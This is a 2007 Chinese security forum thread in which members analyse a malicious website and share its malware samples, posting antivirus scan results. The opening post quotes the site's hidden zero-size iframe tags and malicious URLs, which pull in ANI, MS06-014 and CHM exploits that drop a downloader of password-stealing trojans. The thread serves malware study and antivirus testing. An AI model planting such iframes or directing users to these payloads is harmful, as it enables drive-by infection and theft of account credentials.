[4.20]毒网+相关文件约1.19MB

dikex

毒网一个：http://4255.biz/

里面的调用三个页面：
<iframe src=http://4255.biz/aaa/bbb/ccc/aaa/001.htm width=50 height=0></iframe>
<iframe src=http://4255.biz/aaa/bbb/ccc/bbb/002.htm width=0 height=0></iframe>
<iframe src=http://4255.biz/aaa/bbb/ccc/ccc/003.htm width=0 height=0></iframe>

001.htm里面有一个指针网马http://4255.biz/aaa/bbb/ccc/aaa/1.jpg，指向http://4255.biz/aaa/bbb/ccc/ddd.exe；

002.htm里面是一个加密的MS06-014网马，如图，同样挂了http://4255.biz/aaa/bbb/ccc/ddd.exe；




003.htm里面挂了一个利用CHM漏洞的文件http://4255.biz/aaa/bbb/ccc/ccc/ccc.html，改后缀后运行会释放出和http://4255.biz/aaa/bbb/ccc/ddd.exe一样的文件；

而这个ddd.exe运行后先在system目录释放出logo_1.exe，等了一段时间后利用logo_1.exe /update启动下载一堆文件下来，之后进行一连串的活动，最后在system、system32和Syswm5目录下生成更多的文件，十分猖狂！


相关的文件大小一共1.19MB，压缩后为799KB

样本密码virus

[ 本帖最后由 dikex 于 2007-4-20 19:05 编辑 ]

aoyang

第一关都没过，这帖这些图了，还有些不就发上来了。

caocao

KIS报了7个已检测到: 木马程序 Trojan-PSW.Win32.OnLineGames.hu        文件: D:\Downloads\TEMP.part1.rar\system\12.exe
已检测到: 木马程序 Backdoor.Win32.Delf.awy        文件: D:\Downloads\TEMP.part1.rar\system\CMD.DLL/FSG
已检测到: 木马程序 Trojan-PSW.Win32.OnLineGames.ls        文件: D:\Downloads\TEMP.part1.rar\Syswm5\Ghook.dll
已检测到: 恶意程序 Exploit.Win32.IMG-ANI.k        文件: D:\Downloads\TEMP.part1.rar\1.jpg
已检测到: 木马程序 Trojan-PSW.Win32.OnLineGames.ls        文件: D:\Downloads\TEMP.part2.rar\Syswm5\Ghook.dll
已检测到: 恶意程序 Exploit.Win32.IMG-ANI.k        文件: D:\Downloads\TEMP.part2.rar\1.jpg
已检测到: 木马程序 Exploit.Win32.IMG-ANI.k 文件: D:\Downloads\TEMP.part2.rar

sdbsky

在我的虚拟机里，不感染exe文件

不知道杂回事。

xpn282

只开EQ进去..没反映

好久没遇到真正有动作的网毒了..虽然那些JPG和HTM有问题..但在IE缓存里没什么动作..没意思

[ 本帖最后由 xpn282 于 2007-4-20 19:41 编辑 ]

idey

咖啡干掉它了

aoyang

运行了就有动作了，那个ddd.exe运行后会被疯狂的报警
我在前天晚上启动了费尔的“病毒免预”功能，哈哈，全盘所有的可执行文件被我提取了DNA，任何人都无法改变或者替换，除非经过我同意

xpn282

还要运行那亲自找JPG运行才有动作??.......
那挂JPG在网站上有什么作用啊,,又不会危害人家...人家才不会去刻意的去执行它..

dikex

原帖由 xpn282 于 2007-4-20 20:02 发表
还要运行那亲自找JPG运行才有动作??.......
那挂JPG在网站上有什么作用啊,,又不会危害人家...人家才不会去刻意的去执行它..

如果你没有打上ani漏洞补丁，那浏览那个网页时会自动中招

zengmingwh

Begin scan in 'C:\download\bingdu\TEMP[1].rar'
C:\download\bingdu\TEMP[1].rar
  [0] Archive type: RAR
  --> TEMP[1]\1.jpg
      [DETECTION] Contains signature of the exploits EXP/Ani.Gen
    --> TEMP[1]\ccc.html
      [1] Archive type: CHM
      --> /mm.exe
          [DETECTION] Contains suspicious code HEUR/Crypted
  --> TEMP[1]\ddd.exe
      [DETECTION] Contains suspicious code HEUR/Crypted
  --> TEMP[1]\system\1.exe
      [DETECTION] Is the Trojan horse TR/Drop.Spy.Pca.A.1
  --> TEMP[1]\system\12.exe
      [DETECTION] Is the Trojan horse TR/Proxy.Delf.CA
  --> TEMP[1]\system\CMD.DLL
      [DETECTION] Is the Trojan horse TR/Spy.Pcapbased.A
  --> TEMP[1]\system\logo_1.exe
      [DETECTION] Contains suspicious code HEUR/Crypted
  --> TEMP[1]\system\WPC.DLL
      [DETECTION] Is the Trojan horse TR/Spy.Pcapbased.A.1
  --> TEMP[1]\Syswm5\Ghook.dll
      [DETECTION] Contains suspicious code HEUR/Malware
  --> TEMP[1]\Syswm5\svchost.exe
      [DETECTION] Is the Trojan horse TR/PSW.Onlinegames.EU.4
      [INFO]      The file was deleted!